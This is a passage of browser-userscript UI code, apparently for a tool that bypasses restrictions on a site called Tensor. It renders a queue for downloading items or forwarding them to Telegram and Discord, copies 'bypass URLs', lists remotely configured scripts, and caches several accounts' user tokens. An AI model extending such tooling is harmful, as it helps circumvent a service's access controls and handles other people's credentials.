      retryFailedBtn.onclick = () => {
        let changed = 0;
        cache.items.forEach(entry => {
          if (entry.status === 'failed') {
            entry.status = 'queued';
            entry.error = null;
            entry.attempts = 0;
            entry.nextRunAt = null;
            entry.sentMode = null;
            entry.updatedAt = Date.now();
            changed += 1;
          }
        });
        saveTaskActions();
        if (changed) {
          processTaskActionQueue();
          updateUI();
        }
      };

      const clearDoneBtn = document.createElement('button');
      clearDoneBtn.className = 'bypass-btn bypass-btn-secondary';
      clearDoneBtn.style.width = 'auto';
      clearDoneBtn.textContent = 'Clear Done';
      clearDoneBtn.onclick = () => {
        cache.items = cache.items.filter(entry => entry.status !== 'done');
        saveTaskActions();
        updateUI();
      };

      const clearFailedBtn = document.createElement('button');
      clearFailedBtn.className = 'bypass-btn bypass-btn-secondary';
      clearFailedBtn.style.width = 'auto';
      clearFailedBtn.textContent = 'Clear Failed';
      clearFailedBtn.onclick = () => {
        cache.items = cache.items.filter(entry => entry.status !== 'failed');
        saveTaskActions();
        updateUI();
      };

      controls.appendChild(retryFailedBtn);
      controls.appendChild(clearDoneBtn);
      controls.appendChild(clearFailedBtn);
      controls.appendChild(pauseBtn);
      controls.appendChild(clearBtn);
      headerRow.appendChild(title);
      headerRow.appendChild(controls);
      content.appendChild(headerRow);

      // Filters row (search + status/action)
      const filterRow = document.createElement('div');
      filterRow.style.cssText = 'display:flex; gap:8px; flex-wrap:wrap; align-items:center; padding:10px 12px; margin-top:10px; border:1px solid rgba(148,163,184,0.25); border-radius:10px; background: rgba(15,23,42,0.25);';

      const queryInput = document.createElement('input');
      queryInput.type = 'text';
      queryInput.placeholder = 'Search by ID, task ID, status, action, MIME…';
      queryInput.value = queueFilters.query;
      queryInput.style.cssText = 'flex:1; min-width:220px; padding:8px 10px; border-radius:8px; border:1px solid rgba(148,163,184,0.35); background: rgba(15,23,42,0.45); color:#e2e8f0; font-size:12px;';

      const statusSelect = document.createElement('select');
      statusSelect.style.cssText = 'padding:8px 10px; border-radius:8px; border:1px solid rgba(148,163,184,0.35); background: rgba(15,23,42,0.45); color:#e2e8f0; font-size:12px;';
      ;[
        { v: 'all', t: 'All statuses' },
        { v: 'queued', t: 'Queued' },
        { v: 'in-progress', t: 'In progress' },
        { v: 'done', t: 'Done' },
        { v: 'failed', t: 'Failed' }
      ].forEach(opt => {
        const o = document.createElement('option');
        o.value = opt.v;
        o.textContent = opt.t;
        if (queueFilters.status === opt.v) o.selected = true;
        statusSelect.appendChild(o);
      });

      const actionSelect = document.createElement('select');
      actionSelect.style.cssText = 'padding:8px 10px; border-radius:8px; border:1px solid rgba(148,163,184,0.35); background: rgba(15,23,42,0.45); color:#e2e8f0; font-size:12px;';
      ;[
        { v: 'all', t: 'All actions' },
        { v: 'download', t: 'Download' },
        { v: 'telegram', t: 'Telegram' },
        { v: 'discord', t: 'Discord' }
      ].forEach(opt => {
        const o = document.createElement('option');
        o.value = opt.v;
        o.textContent = opt.t;
        if (queueFilters.action === opt.v) o.selected = true;
        actionSelect.appendChild(o);
      });

      const resetFiltersBtn = document.createElement('button');
      resetFiltersBtn.className = 'bypass-btn bypass-btn-secondary';
      resetFiltersBtn.style.width = 'auto';
      resetFiltersBtn.textContent = 'Reset';

      const showingLabel = document.createElement('div');
      showingLabel.style.cssText = 'margin-left:auto; font-size:11px; color:#94a3b8;';
      showingLabel.textContent = '';

      filterRow.appendChild(queryInput);
      filterRow.appendChild(statusSelect);
      filterRow.appendChild(actionSelect);
      filterRow.appendChild(resetFiltersBtn);
      filterRow.appendChild(showingLabel);
      content.appendChild(filterRow);

      if (!actions.length) {
        const empty = document.createElement('div');
        empty.style.cssText = 'padding: 20px; font-size: 12px; color: #94a3b8;';
        empty.textContent = 'No queued or completed actions yet.';
        content.appendChild(empty);
      } else {
        const applyQueueFilters = () => {
          const q = (queueFilters.query || '').trim().toLowerCase();
          const rows = Array.from(content.querySelectorAll('[data-bypass-task-row]'));
          let shown = 0;
          rows.forEach(row => {
            const rowStatus = row.dataset.status || '';
            const rowAction = row.dataset.action || '';
            const rowId = row.dataset.imageId || '';
            const rowTaskId = row.dataset.taskId || '';
            const rowMime = row.dataset.mimeType || '';
            const rowAttempts = row.dataset.attempts || '';
            const rowNextRunAt = row.dataset.nextRunAt || '';
            const haystack = `${rowAction} ${rowStatus} ${rowId} ${rowTaskId} ${rowMime} ${rowAttempts} ${rowNextRunAt}`.toLowerCase();
            const statusOk = queueFilters.status === 'all' ? true : rowStatus === queueFilters.status;
            const actionOk = queueFilters.action === 'all' ? true : rowAction === queueFilters.action;
            const queryOk = !q ? true : haystack.includes(q);
            const visible = statusOk && actionOk && queryOk;
            row.style.display = visible ? 'flex' : 'none';
            if (visible) shown += 1;
          });
          showingLabel.textContent = `Showing ${shown}/${rows.length}`;
        };

        actions.forEach((entry, index) => {
          const row = document.createElement('div');
          row.setAttribute('data-bypass-task-row', `${entry.action}:${entry.imageId}`);
          row.dataset.action = String(entry.action || '');
          row.dataset.status = String(entry.status || '');
          row.dataset.imageId = String(entry.imageId || '');
          row.dataset.taskId = String(entry.taskId || '');
          row.dataset.mimeType = String(entry.mimeType || '');
          row.dataset.attempts = String(entry.attempts || '0');
          row.dataset.nextRunAt = String(entry.nextRunAt || '');
          row.style.cssText = 'padding: 10px 12px; border: 1px solid rgba(148,163,184,0.25); border-radius: 8px; display:flex; flex-direction:column; gap:6px;';
          row.setAttribute('draggable', 'true');
          row.dataset.index = String(index);
          if (entry.status === 'failed') {
            row.style.borderColor = '#ef4444';
            row.style.background = 'rgba(239, 68, 68, 0.08)';
          }

          const top = document.createElement('div');
          top.style.cssText = 'display:flex; align-items:center; justify-content:space-between; gap:8px;';
          const waitMs = entry.status === 'queued' && entry.nextRunAt ? (Number(entry.nextRunAt) - Date.now()) : 0;
          const statusLabel = entry.status === 'queued' && waitMs > 0
            ? `queued (waiting ${formatShortDuration(waitMs)})`
            : String(entry.status || '');
          top.innerHTML = `
            <div style="font-size:12px; font-weight:600;">${entry.action.toUpperCase()} • ${entry.imageId}</div>
            <div style="font-size:11px; color:#94a3b8;" data-bypass-task-status>${escapeHtml(statusLabel)}</div>
          `;

          const meta = document.createElement('div');
          meta.style.cssText = 'font-size:11px; color:#94a3b8;';
          const attempt = Number(entry.attempts) || 0;
          const maxRetries = clampNumber(settings.queueMaxRetries, 0, 25, 2);
          const sentMode = entry.sentMode ? ` • Mode: ${escapeHtml(String(entry.sentMode))}` : '';
          const mimeLabel = entry.mimeType ? ` • ${escapeHtml(String(entry.mimeType))}` : '';
          const retryLabel = maxRetries > 0 ? ` • Attempts: ${attempt}/${maxRetries}` : '';
          meta.innerHTML = `<div>Task: ${escapeHtml(entry.taskId || 'N/A')}${mimeLabel}${retryLabel}${sentMode}</div>`;

          const errorLine = document.createElement('div');
          errorLine.setAttribute('data-bypass-task-error', 'true');
          errorLine.style.cssText = 'font-size:11px; color:#ef4444;';
          if (entry.status === 'failed' && entry.error) {
            errorLine.textContent = `Error: ${entry.error}`;
          } else {
            errorLine.style.display = 'none';
          }
          meta.appendChild(errorLine);

          const buttons = document.createElement('div');
          buttons.style.cssText = 'display:flex; gap:6px; align-items:center; flex-wrap:wrap;';

          const retryBtn = document.createElement('button');
          retryBtn.className = 'bypass-btn bypass-btn-secondary';
          retryBtn.style.width = 'auto';
          retryBtn.style.padding = '6px 10px';
          retryBtn.textContent = 'Retry';
          retryBtn.onclick = () => {
            entry.status = 'queued';
            entry.error = null;
            entry.attempts = 0;
            entry.nextRunAt = null;
            entry.sentMode = null;
            saveTaskActions();
            processTaskActionQueue();
            updateUI();
          };

          const deleteBtn = document.createElement('button');
          deleteBtn.className = 'bypass-btn bypass-btn-danger';
          deleteBtn.style.width = 'auto';
          deleteBtn.style.padding = '6px 10px';
          deleteBtn.textContent = 'Delete';
          deleteBtn.onclick = () => {
            cache.items.splice(index, 1);
            saveTaskActions();
            updateUI();
          };

          const upBtn = document.createElement('button');
          upBtn.className = 'bypass-btn bypass-btn-secondary';
          upBtn.style.width = 'auto';
          upBtn.style.padding = '6px 10px';
          upBtn.textContent = '↑';
          upBtn.onclick = () => {
            if (index === 0) return;
            [cache.items[index - 1], cache.items[index]] = [cache.items[index], cache.items[index - 1]];
            saveTaskActions();
            updateUI();
          };

          const downBtn = document.createElement('button');
          downBtn.className = 'bypass-btn bypass-btn-secondary';
          downBtn.style.width = 'auto';
          downBtn.style.padding = '6px 10px';
          downBtn.textContent = '↓';
          downBtn.onclick = () => {
            if (index === cache.items.length - 1) return;
            [cache.items[index + 1], cache.items[index]] = [cache.items[index], cache.items[index + 1]];
            saveTaskActions();
            updateUI();
          };

          const openUrlBtn = document.createElement('button');
          openUrlBtn.className = 'bypass-btn bypass-btn-secondary';
          openUrlBtn.style.width = 'auto';
          openUrlBtn.style.padding = '6px 10px';
          openUrlBtn.textContent = 'Open';
          openUrlBtn.onclick = async () => {
            try {
              openUrlBtn.disabled = true;
              const url = await ensureDownloadUrl(entry.imageId, entry.mimeType || '');
              if (!url) {
                showToast('No URL available yet for this item', 'warning');
                return;
              }
              window.open(url, '_blank');
            } catch (err) {
              showToast(`Failed to resolve URL: ${err.message}`, 'error');
            } finally {
              openUrlBtn.disabled = false;
            }
          };

          const copyUrlBtn = document.createElement('button');
          copyUrlBtn.className = 'bypass-btn bypass-btn-secondary';
          copyUrlBtn.style.width = 'auto';
          copyUrlBtn.style.padding = '6px 10px';
          copyUrlBtn.textContent = 'Copy URL';
          copyUrlBtn.onclick = async () => {
            try {
              copyUrlBtn.disabled = true;
              const url = await ensureDownloadUrl(entry.imageId, entry.mimeType || '');
              if (!url) {
                showToast('No URL available yet for this item', 'warning');
                return;
              }
              if (navigator.clipboard?.writeText) {
                await navigator.clipboard.writeText(url);
              }
              showToast('Copied bypass URL', 'success');
            } catch (err) {
              showToast(`Copy failed: ${err.message}`, 'error');
            } finally {
              copyUrlBtn.disabled = false;
            }
          };

          buttons.appendChild(upBtn);
          buttons.appendChild(downBtn);
          buttons.appendChild(retryBtn);
          buttons.appendChild(deleteBtn);
          buttons.appendChild(openUrlBtn);
          buttons.appendChild(copyUrlBtn);

          row.appendChild(top);
          row.appendChild(meta);
          row.appendChild(buttons);
          content.appendChild(row);

          row.addEventListener('dragstart', (e) => {
            e.dataTransfer.setData('text/plain', row.dataset.index || '');
            row.style.opacity = '0.6';
          });
          row.addEventListener('dragend', () => {
            row.style.opacity = '1';
          });
          row.addEventListener('dragover', (e) => {
            e.preventDefault();
            row.style.borderColor = '#6366f1';
          });
          row.addEventListener('dragleave', () => {
            row.style.borderColor = 'rgba(148,163,184,0.25)';
          });
          row.addEventListener('drop', (e) => {
            e.preventDefault();
            row.style.borderColor = 'rgba(148,163,184,0.25)';
            const fromIndex = Number(e.dataTransfer.getData('text/plain'));
            const toIndex = Number(row.dataset.index);
            if (Number.isNaN(fromIndex) || Number.isNaN(toIndex) || fromIndex === toIndex) return;
            const moved = cache.items.splice(fromIndex, 1)[0];
            cache.items.splice(toIndex, 0, moved);
            saveTaskActions();
            updateUI();
          });
        });

        const persistFilters = () => {
          localStorage.setItem(queueFilterKeys.query, queueFilters.query);
          localStorage.setItem(queueFilterKeys.status, queueFilters.status);
          localStorage.setItem(queueFilterKeys.action, queueFilters.action);
        };

        queryInput.addEventListener('input', () => {
          queueFilters.query = queryInput.value;
          persistFilters();
          applyQueueFilters();
        });
        statusSelect.addEventListener('change', () => {
          queueFilters.status = statusSelect.value;
          persistFilters();
          applyQueueFilters();
        });
        actionSelect.addEventListener('change', () => {
          queueFilters.action = actionSelect.value;
          persistFilters();
          applyQueueFilters();
        });
        resetFiltersBtn.onclick = () => {
          queueFilters.query = '';
          queueFilters.status = 'all';
          queueFilters.action = 'all';
          queryInput.value = '';
          statusSelect.value = 'all';
          actionSelect.value = 'all';
          persistFilters();
          applyQueueFilters();
        };

        applyQueueFilters();
      }
    } else if (currentTab === 'services') {
      const colors = getThemeColors();
      const services = getEnabledRemoteServices(remoteConfig);
      const state = loadServicesState();

      const headerCard = document.createElement('div');
      headerCard.className = 'bypass-services-header';
      const updates = services.filter(s => getServiceUpdateState(s).updateAvailable).length;
      headerCard.innerHTML = `
        <div style="display:flex; flex-direction:column; gap:4px; min-width:220px;">
          <div style="font-weight:900; color:${colors.text};"><i class=\"fas fa-grid-2\" style=\"color:${colors.primary};\"></i> Services</div>
          <div style="font-size:11px; color:${colors.textSecondary}; line-height:1.5;">Remote-config apps & scripts. Installed status is tracked locally in your browser.</div>
        </div>
        <div style="display:flex; gap:10px; align-items:center; flex-wrap:wrap;">
          <span class="bypass-chip">Enabled: ${escapeHtml(String(services.length))}</span>
          ${updates ? `<span class=\"bypass-chip bypass-chip-warn\">Updates: ${escapeHtml(String(updates))}</span>` : `<span class=\"bypass-chip bypass-chip-success\">All up to date</span>`}
          <button class="bypass-btn bypass-btn-secondary" style="width:auto; padding:8px 10px; font-size:11px;" data-bypass-services-clear>
            <i class="fas fa-eraser"></i> Clear local state
          </button>
        </div>
      `;

      headerCard.querySelector('[data-bypass-services-clear]').onclick = () => {
        showConfirmDialog('Clear ALL Services local state? (This only affects browser tracking, not your system.)', () => {
          servicesStateCache = { v: 1, updatedAt: Date.now(), items: {} };
          saveServicesState();
          showToast('Services local state cleared', 'success');
          updateUI();
        });
      };

      content.appendChild(headerCard);

      const filters = document.createElement('div');
      filters.style.cssText = `display:flex; gap:10px; align-items:center; flex-wrap:wrap; padding: 12px 14px; border-radius: 14px; border: 1px solid ${colors.border}; background: ${colors.bgSecondary};`;

      const qKey = 'freeBypassServicesQuery';
      const statusKey = 'freeBypassServicesStatusFilter';
      const query = localStorage.getItem(qKey) || '';
      const statusFilter = localStorage.getItem(statusKey) || 'all';

      const search = document.createElement('input');
      search.type = 'text';
      search.placeholder = 'Search services by name/type/version...';
      search.value = query;
      search.style.cssText = `flex:1; min-width:220px; padding:10px 12px; border-radius:12px; border:1px solid ${colors.border}; background:${colors.bg}; color:${colors.text}; font-size:12px;`;

      const status = document.createElement('select');
      status.style.cssText = `padding:10px 12px; border-radius:12px; border:1px solid ${colors.border}; background:${colors.bg}; color:${colors.text}; font-size:12px;`;
      ;[
        { v: 'all', t: 'All' },
        { v: 'installed', t: 'Installed' },
        { v: 'not-installed', t: 'Not installed' },
        { v: 'updates', t: 'Updates available' },
        { v: 'required', t: 'Update required' }
      ].forEach(opt => {
        const o = document.createElement('option');
        o.value = opt.v;
        o.textContent = opt.t;
        if (statusFilter === opt.v) o.selected = true;
        status.appendChild(o);
      });

      const reset = document.createElement('button');
      reset.className = 'bypass-btn bypass-btn-secondary';
      reset.style.cssText = 'width:auto; padding:10px 12px; font-size:12px;';
      reset.innerHTML = '<i class="fas fa-rotate-left"></i> Reset';

      filters.appendChild(search);
      filters.appendChild(status);
      filters.appendChild(reset);
      content.appendChild(filters);

      const grid = document.createElement('div');
      grid.className = 'bypass-services-grid';
      content.appendChild(grid);

      const render = () => {
        const q = (search.value || '').trim().toLowerCase();
        const f = status.value;
        localStorage.setItem(qKey, search.value || '');
        localStorage.setItem(statusKey, status.value || 'all');

        const filtered = services.filter(svc => {
          const upd = getServiceUpdateState(svc);
          if (f === 'installed' && !upd.installed) return false;
          if (f === 'not-installed' && upd.installed) return false;
          if (f === 'updates' && !upd.updateAvailable) return false;
          if (f === 'required' && !upd.updateRequired) return false;
          if (!q) return true;
          const hay = `${svc.title} ${svc.type} ${svc.version} ${svc.id}`.toLowerCase();
          return hay.includes(q);
        });

        grid.innerHTML = '';
        if (!filtered.length) {
          const empty = document.createElement('div');
          empty.style.cssText = `grid-column: 1 / -1; padding: 18px; border-radius: 14px; border: 1px dashed ${colors.border}; background: rgba(15,23,42,0.22); color:${colors.textSecondary}; text-align:center; font-size:12px;`;
          empty.innerHTML = '<i class="fas fa-inbox"></i> No services match your filters.';
          grid.appendChild(empty);
          return;
        }

        filtered.forEach(svc => {
          const upd = getServiceUpdateState(svc);
          const typeLabel = svc.type === 'script' ? 'Script' : 'App';
          const vLabel = svc.version ? `v${svc.version}` : 'v?';
          const statusChip = upd.updateRequired
            ? '<span class="bypass-chip bypass-chip-danger">Update required</span>'
            : upd.updateAvailable
              ? '<span class="bypass-chip bypass-chip-warn">Update available</span>'
              : upd.installed
                ? '<span class="bypass-chip bypass-chip-success">Installed</span>'
                : '<span class="bypass-chip">Not installed</span>';

          const card = document.createElement('div');
          card.className = 'bypass-service-card';
          card.setAttribute('role', 'button');
          card.setAttribute('tabindex', '0');

          const logoHtml = (svc.logo_url && isProbablySafeHttpUrl(svc.logo_url))
            ? `<img src="${escapeHtml(svc.logo_url)}" alt="${escapeHtml(svc.title)}" loading="lazy" referrerpolicy="no-referrer" />`
            : '<i class="fas fa-cube"></i>';

          card.innerHTML = `
            <div class="bypass-service-card-top">
              <div class="bypass-service-logo">${logoHtml}</div>
              <div style="min-width:0; flex:1;">
                <div class="bypass-service-title">${escapeHtml(svc.title)}</div>
                <div class="bypass-service-meta">
                  <span class="bypass-chip">${escapeHtml(typeLabel)}</span>
                  <span class="bypass-chip">${escapeHtml(vLabel)}</span>
                  ${statusChip}
                </div>
              </div>
              <div style="color:${colors.textSecondary}; font-size:16px; padding-top:2px;"><i class="fas fa-chevron-right"></i></div>
            </div>
          `;

          const open = () => showServiceDetailsDialog(svc);
          card.onclick = open;
          card.onkeydown = (e) => {
            if (e.key === 'Enter' || e.key === ' ') {
              e.preventDefault();
              open();
            }
          };

          // Fallback logo if <img> fails
          const img = card.querySelector('img');
          if (img) {
            img.onerror = () => {
              const logo = card.querySelector('.bypass-service-logo');
              if (logo) logo.innerHTML = '<i class="fas fa-cube"></i>';
            };
          }

          grid.appendChild(card);
        });
      };

      search.addEventListener('input', () => render());
      status.addEventListener('change', () => render());
      reset.onclick = () => {
        search.value = '';
        status.value = 'all';
        localStorage.setItem(qKey, '');
        localStorage.setItem(statusKey, 'all');
        render();
      };

      render();
    } else if (currentTab === 'profiles') {
      // Task Profiles tab
      const colors = getThemeColors();
      const profilesContent = document.createElement('div');
      profilesContent.style.cssText = 'display: flex; flex-direction: column; gap: 12px; padding: 0;';

      const taskProfiles = getTaskProfiles();
      const profileNames = Object.keys(taskProfiles);

      // Add new profile button
      const addProfileBtn = document.createElement('button');
      addProfileBtn.className = 'bypass-btn bypass-btn-primary';
      addProfileBtn.style.cssText = 'width: 100%; padding: 10px; font-size: 13px; font-weight: 600;';
      addProfileBtn.innerHTML = '<i class="fas fa-plus"></i> Create New Profile';
      addProfileBtn.onclick = () => {
        showProfileNameDialog((name) => {
          if (!name) return;
          if (createTaskProfile(name)) {
            updateUI();
          }
        });
      };
      profilesContent.appendChild(addProfileBtn);

      if (profileNames.length === 0) {
        // Empty state
        const emptyState = document.createElement('div');
        emptyState.style.cssText = 'padding: 40px 20px; text-align: center; color: #94a3b8; background: rgba(15, 23, 42, 0.5); border-radius: 8px; border: 1px dashed rgba(99, 102, 241, 0.3);';
        emptyState.innerHTML = `
          <i class="fas fa-layer-group" style="font-size: 40px; opacity: 0.4; display: block; margin-bottom: 12px;"></i>
          <p style="margin: 0 0 8px 0; font-weight: 500;">No Task Profiles Yet</p>
          <p style="font-size: 11px; margin: 0; opacity: 0.8;">Create a profile to organize and categorize bypassed tasks. Click "Create New Profile" above to get started.</p>
        `;
        profilesContent.appendChild(emptyState);
      } else {
        // Profile list
        const profilesList = document.createElement('div');
        profilesList.style.cssText = 'display: flex; flex-direction: column; gap: 8px;';

        profileNames.forEach(profileName => {
          const profile = taskProfiles[profileName];
          const taskCount = profile.tasks ? profile.tasks.length : 0;

          const profileCard = document.createElement('div');
          profileCard.style.cssText = `
            padding: 12px;
            background: ${colors.bgSecondary};
            border: 1px solid ${colors.border};
            border-radius: 8px;
            cursor: pointer;
            transition: all 0.2s;
          `;

          profileCard.addEventListener('mouseenter', () => {
            profileCard.style.borderColor = '#6366f1';
            profileCard.style.background = 'rgba(99, 102, 241, 0.1)';
          });

          profileCard.addEventListener('mouseleave', () => {
            profileCard.style.borderColor = colors.border;
            profileCard.style.background = colors.bgSecondary;
          });

          const profileHeader = document.createElement('div');
          profileHeader.style.cssText = 'display: flex; justify-content: space-between; align-items: center; margin-bottom: 8px;';

          const profileNameEl = document.createElement('div');
          profileNameEl.style.cssText = 'font-weight: 600; font-size: 13px; color: #f1f5f9;';
          profileNameEl.textContent = profileName;

          const taskCountBadge = document.createElement('span');
          taskCountBadge.style.cssText = 'background: rgba(99, 102, 241, 0.3); color: #cbd5e1; padding: 2px 8px; border-radius: 999px; font-size: 11px; font-weight: 600;';
          taskCountBadge.textContent = `${taskCount} task${taskCount !== 1 ? 's' : ''}`;

          profileHeader.appendChild(profileNameEl);
          profileHeader.appendChild(taskCountBadge);
          profileCard.appendChild(profileHeader);

          // Profile actions
          const actionsRow = document.createElement('div');
          actionsRow.style.cssText = 'display: flex; gap: 6px;';

          const viewBtn = document.createElement('button');
          viewBtn.className = 'bypass-btn bypass-btn-secondary';
          viewBtn.style.cssText = 'flex: 1; padding: 6px 10px; font-size: 11px;';
          viewBtn.innerHTML = '<i class="fas fa-eye"></i> View';
          viewBtn.onclick = (e) => {
            e.stopPropagation();
            showProfileFullscreenDialog(profileName);
          };

          const deleteBtn = document.createElement('button');
          deleteBtn.className = 'bypass-btn';
          deleteBtn.style.cssText = 'flex: 1; padding: 6px 10px; font-size: 11px; background: rgba(239, 68, 68, 0.2); color: #fca5a5; border: 1px solid rgba(239, 68, 68, 0.5);';
          deleteBtn.innerHTML = '<i class="fas fa-trash"></i> Delete';
          deleteBtn.onclick = (e) => {
            e.stopPropagation();
            showConfirmDialog(`Delete profile "${profileName}" and all its tasks?`, () => {
              deleteTaskProfile(profileName);
              updateUI();
            });
          };

          actionsRow.appendChild(viewBtn);
          actionsRow.appendChild(deleteBtn);
          profileCard.appendChild(actionsRow);

          profilesList.appendChild(profileCard);
        });

        profilesContent.appendChild(profilesList);
      }

      content.appendChild(profilesContent);
    } else if (currentTab === 'accounts') {
      // Accounts tab - show all cached user accounts with enhanced UI
      const accountsContent = document.createElement('div');
      accountsContent.style.cssText = 'display: flex; flex-direction: column; gap: 12px;';

      const allAccounts = getAllCachedAccounts();

      if (allAccounts.length === 0) {
        const empty = document.createElement('div');
        empty.style.cssText = 'padding: 40px 20px; text-align: center; color: #94a3b8;';
        empty.innerHTML = '<i class="fas fa-inbox" style="font-size: 32px; opacity: 0.5; display: block; margin-bottom: 12px;"></i><p>No cached accounts found</p><p style="font-size: 11px; margin-top: 8px;">Accounts will be cached as you log in with different user tokens.</p>';

        const detectBtn = document.createElement('button');
        detectBtn.className = 'bypass-btn bypass-btn-primary';
        detectBtn.style.cssText = 'margin-top: 16px; width: auto; padding: 10px 16px; font-size: 12px;';
        detectBtn.innerHTML = '<i class="fas fa-fingerprint"></i> Detect account';
        detectBtn.onclick = async () => {
          try {
            detectBtn.disabled = true;
            detectBtn.innerHTML = '<i class="fas fa-spinner fa-spin"></i> Detecting...';
            const result = await detectCurrentTensorAccount();
            if (result?.detected) {
              showToast(`Detected ${result.nickname}`, 'success');
              updateUI();
            } else {
              showToast(result?.message || 'Detection is armed. Refresh the page to let Tensor load your profile request.', 'warning');
            }
          } catch (err) {
            showToast(err?.message || 'Failed to detect current Tensor account', 'error');
          } finally {
            detectBtn.disabled = false;
            detectBtn.innerHTML = '<i class="fas fa-fingerprint"></i> Detect account';
          }
        };
        empty.appendChild(detectBtn);
        accountsContent.appendChild(empty);
      } else {
        // Compile controls
        const compileControls = document.createElement('div');
        compileControls.style.cssText = 'padding: 12px; background: rgba(99,102,241,0.1); border: 1px solid rgba(99,102,241,0.3); border-radius: 8px; display: flex; gap: 12px; align-items: center; justify-content: space-between;';

        const compileInfo = document.createElement('div');
        compileInfo.style.cssText = 'font-size: 12px; color: #cbd5e1;';
        compileInfo.innerHTML = '<i class="fas fa-layer-group" style="margin-right: 8px;"></i><strong>Multi-Account Mode:</strong> Select accounts to view combined tasks';

        const compileBtns = document.createElement('div');
        compileBtns.style.cssText = 'display: flex; gap: 8px;';

        const activeTokens = getActiveTokens();

        const compileBtn = document.createElement('button');
        compileBtn.className = 'bypass-btn bypass-btn-primary';
        compileBtn.style.cssText = 'padding: 6px 12px; font-size: 11px;';
        compileBtn.textContent = `View Items (${activeTokens.length} Active)`;
        compileBtn.onclick = () => {
          currentTab = 'home';
          updateUI();
        };

        const clearBtn = document.createElement('button');
        clearBtn.className = 'bypass-btn bypass-btn-secondary';
        clearBtn.style.cssText = 'padding: 6px 12px; font-size: 11px;';
        clearBtn.textContent = 'Reset to Current';
        clearBtn.disabled = activeTokens.length === 1 && activeTokens[0] === userToken;
        clearBtn.onclick = () => {
          clearActiveTokens();
          updateUI();
        };

        const detectBtn = document.createElement('button');
        detectBtn.className = 'bypass-btn bypass-btn-secondary';
        detectBtn.style.cssText = 'padding: 6px 12px; font-size: 11px;';
        detectBtn.innerHTML = '<i class="fas fa-fingerprint"></i> Detect Current';
        detectBtn.onclick = async () => {
          try {
            detectBtn.disabled = true;
            detectBtn.innerHTML = '<i class="fas fa-spinner fa-spin"></i> Detecting...';
            const result = await detectCurrentTensorAccount();
            if (result?.detected) {
              showToast(`Detected ${result.nickname}`, 'success');
              updateUI();
            } else {
              showToast(result?.message || 'Detection is armed. Refresh the page to let Tensor load your profile request.', 'warning');
            }
          } catch (err) {
            showToast(err?.message || 'Failed to detect current Tensor account', 'error');
          } finally {
            detectBtn.disabled = false;
            detectBtn.innerHTML = '<i class="fas fa-fingerprint"></i> Detect Current';
          }
        };

        const deleteSelectedBtn = document.createElement('button');
        deleteSelectedBtn.className = 'bypass-btn bypass-btn-danger';
        deleteSelectedBtn.style.cssText = 'padding: 6px 12px; font-size: 11px;';
        deleteSelectedBtn.innerHTML = '<i class="fas fa-trash"></i> Delete Selected';
        deleteSelectedBtn.onclick = () => {
          const selected = allAccounts.filter(a => getActiveTokens().includes(a.token) && a.token !== userToken);
          if (!selected.length) {
            showToast('No non-current accounts selected to delete', 'warning');
            return;
          }
          showConfirmDialog(`Delete ${selected.length} account(s)? This cannot be undone.`, () => {
            selected.forEach(a => removeAccountData(a.token));
            showToast(`Deleted ${selected.length} account(s)`, 'success');
            updateUI();
          });
        };

        compileBtns.appendChild(compileBtn);
        compileBtns.appendChild(clearBtn);
        compileBtns.appendChild(deleteSelectedBtn);
        compileBtns.appendChild(detectBtn);
        compileControls.appendChild(compileInfo);
        compileControls.appendChild(compileBtns);
        accountsContent.appendChild(compileControls);

        // Account cards
        allAccounts.forEach((account, idx) => {
          const card = document.createElement('div');
          const activeTokens = getActiveTokens();
          const isSelected = activeTokens.includes(account.token);
          const isActive = userToken === account.token;
          card.style.cssText = `padding: 16px; background: ${isActive ? 'linear-gradient(135deg, rgba(99,102,241,0.15), rgba(99,102,241,0.05))' : 'rgba(15,23,42,0.4)'}; border: 2px solid ${isSelected ? '#6366f1' : 'rgba(148,163,184,0.25)'}; border-radius: 12px; display: flex; gap: 16px; align-items: flex-start; position: relative; cursor: pointer; transition: all 200ms;`;

          // Checkbox for compile selection
          const checkbox = document.createElement('input');
          checkbox.type = 'checkbox';
          checkbox.checked = isSelected;
          checkbox.style.cssText = 'width: 20px; height: 20px; cursor: pointer; flex-shrink: 0; margin-top: 4px;';
          checkbox.onclick = (e) => {
            e.stopPropagation();
            const activeTokens = getActiveTokens();
            if (activeTokens.includes(account.token)) {
              // Don't allow removing current user's token
              if (account.token === userToken) {
                showNotification('warning', 'Cannot deselect current logged-in account');
                checkbox.checked = true;
                return;
              }
              removeActiveToken(account.token);
            } else {
              addActiveToken(account.token);
            }
            updateUI();
          };

          const avatar = document.createElement('img');
          avatar.src = account.profileData?.profile?.info?.avatar || '';
          avatar.style.cssText = 'width: 64px; height: 64px; border-radius: 50%; object-fit: cover; flex-shrink: 0; border: 3px solid rgba(99,102,241,0.3);';
          avatar.onerror = () => {
            avatar.style.display = 'none';
            const fallback = document.createElement('div');
            fallback.style.cssText = 'width: 64px; height: 64px; border-radius: 50%; background: rgba(99,102,241,0.2); display: flex; align-items: center; justify-content: center; flex-shrink: 0; border: 3px solid rgba(99,102,241,0.3);';
            fallback.innerHTML = '<i class="fas fa-user" style="color: #6366f1; opacity: 0.7; font-size: 24px;"></i>';
            card.insertBefore(fallback, card.children[1]);
          };

          const info = document.createElement('div');
          info.style.cssText = 'flex: 1;';

          const isVip = account.profileData?.vipInfo?.isVip || false;
          const taskCount = getAccountTaskCount(account.token);

          info.innerHTML = `
            <div style="display: flex; align-items: center; gap: 8px; margin-bottom: 6px;">
              <span style="font-weight: 700; color: #f1f5f9; font-size: 16px;">${escapeHtml(account.nickname || 'Unknown User')}</span>
              ${isVip ? '<span style="background: linear-gradient(135deg, #fbbf24, #f59e0b); color: #000; padding: 2px 8px; border-radius: 4px; font-size: 10px; font-weight: 700; text-transform: uppercase;">VIP</span>' : ''}
              ${isActive ? '<span style="background: rgba(34,197,94,0.2); color: #10b981; padding: 2px 8px; border-radius: 4px; font-size: 10px; font-weight: 600;">ACTIVE</span>' : ''}
            </div>
            <div style="font-size: 12px; color: #94a3b8; margin-bottom: 8px; line-height: 1.4;">${escapeHtml((account.description || '').substring(0, 100))}${account.description?.length > 100 ? '...' : ''}</div>
            <div style="display: flex; gap: 16px; margin-bottom: 8px;">
              <div style="font-size: 11px; color: #64748b;"><i class="fas fa-tasks" style="margin-right: 6px; color: #6366f1;"></i><strong>${taskCount}</strong> tasks</div>
              <div style="font-size: 11px; color: #64748b;"><i class="fas fa-fingerprint" style="margin-right: 6px; color: #6366f1;"></i>${escapeHtml(account.userId || 'N/A')}</div>
            </div>
